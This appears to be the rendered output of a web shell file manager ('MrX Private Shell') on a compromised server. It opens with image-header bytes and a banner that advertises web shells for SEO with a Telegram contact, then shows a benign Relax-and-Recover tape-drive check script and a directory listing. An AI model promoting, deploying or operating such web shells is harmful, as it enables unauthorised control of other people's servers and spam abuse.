����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Check tape drive
REQUIRED_PROGS+=( mt )
# Test for cciss driver and include the necessary tools
if grep -q -e '^cciss ' -e '^hpsa ' /proc/modules; then
PROGS+=( "${PROGS_OBDR[@]}" )
REQUIRED_PROGS+=( "${REQUIRED_PROGS_OBDR[@]}" )
fi
# Is a tape device provided
[[ "$TAPE_DEVICE" ]]
StopIfError "No tape device (TAPE_DEVICE) defined."
# Write out tape status
mt -f "$TAPE_DEVICE" status &>"$TMP_DIR/tape_status"
StopIfError "Problem with reading tape device '$TAPE_DEVICE'."
# Log tape status
cat $TMP_DIR/tape_status >&2
# Check if tape is online
grep -qE '\bONLINE\b' "$TMP_DIR/tape_status"
StopIfError "Tape in device '$TAPE_DEVICE' is not online."
# Check if tape is not write protected
! grep -q WR_PROT "$TMP_DIR/tape_status"
StopIfError "Tape in device '$TAPE_DEVICE' is write protected."
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 400_check_tape_drive.sh | File | 811 B | 0644 |
|
| 500_set_tape_blocksize.sh | File | 231 B | 0644 |
|